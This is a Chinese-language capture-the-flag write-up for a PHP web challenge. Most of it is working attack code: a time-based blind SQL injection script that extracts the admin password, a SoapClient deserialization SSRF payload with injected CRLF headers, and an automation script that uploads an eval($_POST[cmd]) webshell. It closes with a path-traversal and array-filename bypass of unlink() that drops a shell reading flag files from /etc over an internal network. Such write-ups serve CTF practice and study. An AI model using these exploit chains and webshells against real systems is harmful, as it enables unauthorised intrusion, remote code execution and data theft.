关键字:sql注入,反序列化原生类,ssrf,绕过unlink()
这两题缝合出来的,tmd好难
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540
https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/
一个登录界面,action那输入register还可以注册,这里md5的验证码使用脚本爆破
# -*- coding:utf-8 -*-
import hashlib
for num in range(10000,9999999999):
res = hashlib.md5(str(num).encode()).hexdigest()
if res[0:5] == "af1e5":
print(str(num))
break
注册一个test用户登陆查看,只有一个publish的功能
可能存在sql注入,但测试没啥反应
Dirsearch扫描目录发现有index.php~文件,是编辑器留下的备份文件
Action的被写死在一个列表里,可以看到还有个phpinfo
把config.php~ user.php~的也看一下
User.php这有个上传但需要admin权限
跟进上半部分这个insert函数,在config.php
写入的数据会先被get_column函数处理,会被用用反引号包裹起来
关键点其实是在preg_replace那,所有的反引号转换成了单引号,那么就可以进行注入了
使用`)去闭合,注入点在signature位置,最终执行的sql语句如图
# encoding=utf-8
#python2
import requests
import string
import time
url = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish'
cookies = {"PHPSESSID": "vama32u1uclof287jhsrguv0q2"}
data = {
"signature": "",
"mood": 0
}
table = string.digits + string.lowercase + string.uppercase
def post():
password = ""
for i in range(1, 33):
for j in table:
signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j)) #这儿的0x61646d696e是admin的十六进制,当然用`admin`代替也可以
data["signature"] = signature
#print(data)
try:
re = requests.post(url, cookies = cookies, data = data, timeout = 3)
#print(re.text)
except:
password += j
print(password)
break
print(password)
def main():
post()
if __name__ == '__main__':
main()
密码为jaivypassword
再看到登录这里,要登录admin用户还会检测ip,且是$_SERVER['REMOTE_ADDR']
无法伪造,那么只能找一个ssrf的点,进行登录
找到一个反序列化的点可以利用php原生类soapclient反序列化进行ssrf,通过?action=phpinfo看到php开启了soap拓展,这里当不是admin身份的时候进入这个if语句,然后取出第二行的数据进行反序列化
获取的是本机的ip,然后在对这段内容序列化后使用addslashes进行转义,可以利用mysql在读数据的时候会把括号内的16进制转成原来的字符串的特性绕过这个转义
生成序列化payload的脚本:
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
这里的code还有PHPSESSID需要和我们准备用来登录的一样,从我们的浏览器预先生成一个会话,在本地解决验证码,并将PHPSESSID 与请求以及验证码的解决方案一起发送到验证码(验证码的解决方案与我们的会话相关联)。如果 SSRF 成功,这PHPSESSID将是一个管理员认证的会话。为了防止干扰开两个浏览器,一个打,一个准备登录
将生成的payload,打到sql注入的地方即可
上传那里没有什么阻碍,直接传即可,这里使用脚本自动化操作,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py 拿原题脚本改了下
#python2
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib
_target = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/'
_action = _target + 'index.php?action='
def get_creds():
username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
return username, password
def solve_code(html):
code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
for num in range(10000,99999999):
res = hashlib.md5(str(num).encode()).hexdigest()
if res[0:5] == code:
print(str(num))
return str(num)
break
def register(username, password):
resp = sess.get(_action+'register')
code = solve_code(resp.text)
sess.post(_action+'register', data={'username':username,'password':password,'code':code})
return True
def login(username, password):
resp = sess.get(_action+'login')
code = solve_code(resp.text)
sess.post(_action+'login', data={'username':username,'password':password,'code':code})
return True
def publish(sig, mood):
return sess.post(_action+'publish', data={'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})
def get_prc_now():
# date_default_timezone_set("PRC") is not important
return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])
def get_admin_session():
sess = requests.Session()
resp = sess.get(_action+'login')
code = solve_code(resp.text)
return sess.cookies.get_dict()['PHPSESSID'], code
def brute_filename(prefix, ts, sessid):
ds = [''.join(i) for i in product(string.digits, repeat=3)]
ds += [''.join(i) for i in product(string.digits, repeat=2)]
# find uploaded file in max 1100 requests
for d in ds:
f = prefix + ts + d + '.jpg'
resp = requests.get(_target+'adminpic/'+f, cookies={'PHPSESSID':sessid})
if resp.status_code == 200:
return f
return False
print '[+] creating user session to trigger ssrf'
sess = requests.Session()
username, password = get_creds()
print '[+] register({}, {})'.format(username, password)
register(username, password)
print '[+] login({}, {})'.format(username, password)
login(username, password)
print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '
print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code
ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: {}\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, len(code)+43, code)
print ssrf
mood = 'O:10:\"SoapClient\":4:{{s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))
payload = 'a`,{})#'.format(mood)
print '[+] final sqli/ssrf payload: ' + payload
print '[+] injecting payload through sqli'
resp = publish(payload, '0')
print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})
print '[+] admin session => ' + phpsessid
# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({'PHPSESSID': phpsessid})
print '[+] uploading stager'
shell = {'pic': ('test.php', '<?php eval($_POST[cmd]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1] # get epoch immediately
if 'upload success' not in resp.text:
print '[-] failed to upload shell, check admin session manually'
sys.exit(0)
已经上传木马到/upload/test.php了蚁剑连接就行,密码cmd
根据提示在内网,打开虚拟终端,查看网卡信息,找到了内网的ip段,用插件可以扫描端口
用curl将页面内容保存下来,我这-O没保存成功 直接复制出去保存的
对于不是数组的filename进行了一堆严格的限制,但是没有对数组进行限制,所以我们可以考虑用数组进行绕过,要求filename的end和filename的[count-1]不能相等,那么直接传两个就行如:file[1]=111&file[2]=php
这里保存文件使用的随机文件名,以及最后的unlink删除文件,构造目录穿越的文件名进行绕过/…/shell.php
参考:https://blog.csdn.net/a3320315/article/details/104132751
利用postman构造phpcurl包
这里的file那shell.php的内容为
@<?php echo `find /etc -name *flag* -exec cat {} +`;
hello那的名字要和上传的文件名字一样,不然就访问不到了
Code那生成代码,但生成的并没有shell.php的内容,需要自己添加,参考赵总的,我这里懒得登录上传直接在蚁剑那新建了一个,保存完直接访问即可
<?php
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => 'http://10.0.97.6',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntest.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n/../test.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
),
));
$response = curl_exec($curl);
curl_close($curl);
echo $response;
当然这里上传文件的步骤也可以在虚拟终端里直接用curl,上传一个shell.php到终端同目录下
@<?php echo `find /etc -name *flag* -exec cat {} +`;
如果使用了-F参数,curl就会以 multipart/form-data
的方式发送POST请求。-F参数以name=value的方式来指定参数内容,如果值是一个文件,则需要以name=@file的方式来指定。
curl 'http://10.0.97.6' -F 'hello=test.php' -F 'file=@shell.php' -F 'file[1]=111' -F 'file[2]=./../test.php'